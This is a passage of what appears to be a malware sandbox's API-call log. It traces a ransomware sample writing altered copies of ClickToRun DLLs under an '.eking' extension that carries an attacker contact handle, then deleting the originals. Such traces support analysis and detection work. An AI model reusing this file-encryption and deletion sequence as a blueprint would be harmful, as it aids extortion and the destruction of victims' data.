hTemplateFile=0x0) returned 0x2dc [0276.908] ReadFile (in: hFile=0x300, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x4ac0, lpOverlapped=0x0) returned 1 [0276.911] WriteFile (in: hFile=0x2dc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x4ad0, lpOverlapped=0x0) returned 1 [0276.913] WriteFile (in: hFile=0x2dc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0276.913] CloseHandle (hObject=0x300) returned 1 [0276.913] CloseHandle (hObject=0x2dc) returned 1 [0276.913] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0276.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0276.916] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=20672) returned 1 [0276.916] CloseHandle (hObject=0x2dc) returned 1 [0276.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0276.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0276.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0276.916] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.916] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0276.917] ReadFile (in: hFile=0x2dc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x50c0, lpOverlapped=0x0) returned 1 [0276.932] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x50d0, lpOverlapped=0x0) returned 1 [0276.934] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0276.934] CloseHandle (hObject=0x2dc) returned 1 [0276.934] CloseHandle (hObject=0x300) returned 1 [0276.934] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0276.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.937] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=19648) returned 1 [0276.937] CloseHandle (hObject=0x300) returned 1 [0276.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0276.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0276.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.937] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.937] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2dc [0276.939] ReadFile (in: hFile=0x300, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x4cc0, lpOverlapped=0x0) returned 1 [0276.942] WriteFile (in: hFile=0x2dc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x4cd0, lpOverlapped=0x0) returned 1 [0276.944] WriteFile (in: hFile=0x2dc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0276.944] CloseHandle (hObject=0x300) returned 1 [0276.944] CloseHandle (hObject=0x2dc) returned 1 [0276.944] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0276.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0276.947] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=19136) returned 1 [0276.947] CloseHandle (hObject=0x2dc) returned 1 [0276.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0276.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0276.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0276.947] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.947] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0276.948] ReadFile (in: hFile=0x2dc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x4ac0, lpOverlapped=0x0) returned 1 [0276.952] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x4ad0, lpOverlapped=0x0) returned 1 [0276.953] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0276.954] CloseHandle (hObject=0x2dc) returned 1 [0276.954] CloseHandle (hObject=0x300) returned 1 [0276.954] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0276.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.214] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=27840) returned 1 [0277.214] CloseHandle (hObject=0x2f0) returned 1 [0277.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0277.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0277.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.215] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.215] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2fc [0277.216] ReadFile (in: hFile=0x2f0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x6cc0, lpOverlapped=0x0) returned 1 [0277.219] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x6cd0, lpOverlapped=0x0) returned 1 [0277.221] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0277.221] CloseHandle (hObject=0x2f0) returned 1 [0277.221] CloseHandle (hObject=0x2fc) returned 1 [0277.221] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0277.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0277.223] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=24768) returned 1 [0277.223] CloseHandle (hObject=0x2fc) returned 1 [0277.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0277.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0277.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0277.224] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.224] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0277.225] ReadFile (in: hFile=0x2fc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x60c0, lpOverlapped=0x0) returned 1 [0277.228] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x60d0, lpOverlapped=0x0) returned 1 [0277.230] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0277.230] CloseHandle (hObject=0x2fc) returned 1 [0277.231] CloseHandle (hObject=0x2f0) returned 1 [0277.231] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0277.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.233] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=24768) returned 1 [0277.233] CloseHandle (hObject=0x2f0) returned 1 [0277.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0277.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0277.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.234] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.234] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2fc [0277.235] ReadFile (in: hFile=0x2f0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x60c0, lpOverlapped=0x0) returned 1 [0277.238] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x60d0, lpOverlapped=0x0) returned 1 [0277.240] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0277.240] CloseHandle (hObject=0x2f0) returned 1 [0277.240] CloseHandle (hObject=0x2fc) returned 1 [0277.240] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0277.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0277.243] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=21184) returned 1 [0277.243] CloseHandle (hObject=0x2fc) returned 1 [0277.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0277.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0277.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0277.243] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.243] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, 